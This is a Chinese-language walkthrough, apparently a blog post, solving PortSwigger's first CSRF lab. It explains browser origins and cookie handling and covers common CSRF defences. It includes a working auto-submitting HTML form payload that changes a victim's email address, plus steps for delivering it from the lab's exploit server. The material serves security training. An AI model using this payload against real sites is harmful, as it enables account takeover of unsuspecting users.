大家好!今天,我们将解决 PortSwigger Web Security Academy 的第一个 CSRF 实验。让我们开始吧!
理解浏览器如何发送 Cookie
要解决这个实验,你首先需要理解浏览器如何决定是否在发出的请求中包含 Cookie。
浏览器是根据请求的 来源(origin) 来做这个决定的。
如果你是第一次接触“来源”这个术语,这里快速解释一下。以 URL https://example.com 为例:
来源 由三部分组成:
- 协议:
https:// - 域名:
example.com - 端口:
:443(对于 HTTPS,默认端口是 443,不过大多数浏览器会在地址栏中隐藏它)
重要提示:不要将来源与完整的 URL 混淆。路径 和 查询参数 不影响来源。
当浏览器发现某个请求与关联了 Cookie 的来源匹配时,它会自动将这些 Cookie 附加到请求中。
当然,还有一些额外的规则取决于 Cookie 的属性(例如 Domain、SameSite、HttpOnly、Secure、Expires)。但对于这第一个实验,你只需要了解基本的来源规则即可。
实验描述
我以 wiener 用户身份登录,修改了我的邮箱地址,并捕获了 HTTP 请求。以下是发现的内容:
要更改用户的邮箱地址,应用程序需要向特定端点发送一个 POST 请求,并将新邮箱作为表单参数。
该请求还需要用户的 会话 Cookie 才能成功。
通常情况下,作为攻击者,我们无法获取受害者的 Cookie。但多亏了 CSRF(跨站请求伪造),我们不需要直接获取它们。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body onload="document.getElementById('autoForm').submit();">
<form id="autoForm" action="https://<YOUR-LAB-ID>.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="csrf@mail.com">
</form>
</body>
</html>
- 更改
<YOUR-LAB-ID>。 - 进入 Exploit Server。
- 将有效载荷粘贴到 Body 部分。
- 点击 Store 和 Deliver Exploit to Victim 按钮。
完成这些步骤后,您应该会看到 “恭喜,您解决了这个实验!” 的提示。
发生了什么?
让我们来分解一下:
- HTML 有效载荷会自动向更改邮箱的端点发出一个 POST 请求,并附带一个新的邮箱地址。
- Exploit Server(由 PortSwigger 提供)托管了这个恶意 HTML。
- 当您点击 Deliver 时,模拟的受害者会访问该恶意页面。
- 受害者的浏览器执行了隐藏的表单提交。
- 尽管我们从未在有效载荷中插入 Cookie,但由于请求是向 同源 发出的,浏览器 自动附加了受害者的会话 Cookie。
- 由于该请求包含了所需的一切(端点、POST 正文和受害者的会话 Cookie),受害者的邮箱地址在不知情的情况下被更改了。
这个实验展示了 CSRF 最基本的形式。在实际应用中,你通常会遇到以下 CSRF 防御机制:
- Anti-CSRF 令牌
SameSiteCookie 属性- 双重提交 Cookie
- 用户交互要求
在接下来的实验中,你将学习攻击者如何试图绕过这些保护措施。
感谢阅读!这是你成功利用的第一个 CSRF 漏洞——恭喜!祝你有愉快的一天! CSD0tFqvECLokhw9aBeRqpNzLTXFlojmzFn6OlyTg9WKci4H6MsXxMTMLM4+xPZvI+gqEUVxuK1rcu6o5ylrLcGMeNyFewiqxrMbH3Ct23rZIRgEmIlehpW98HMg2RIN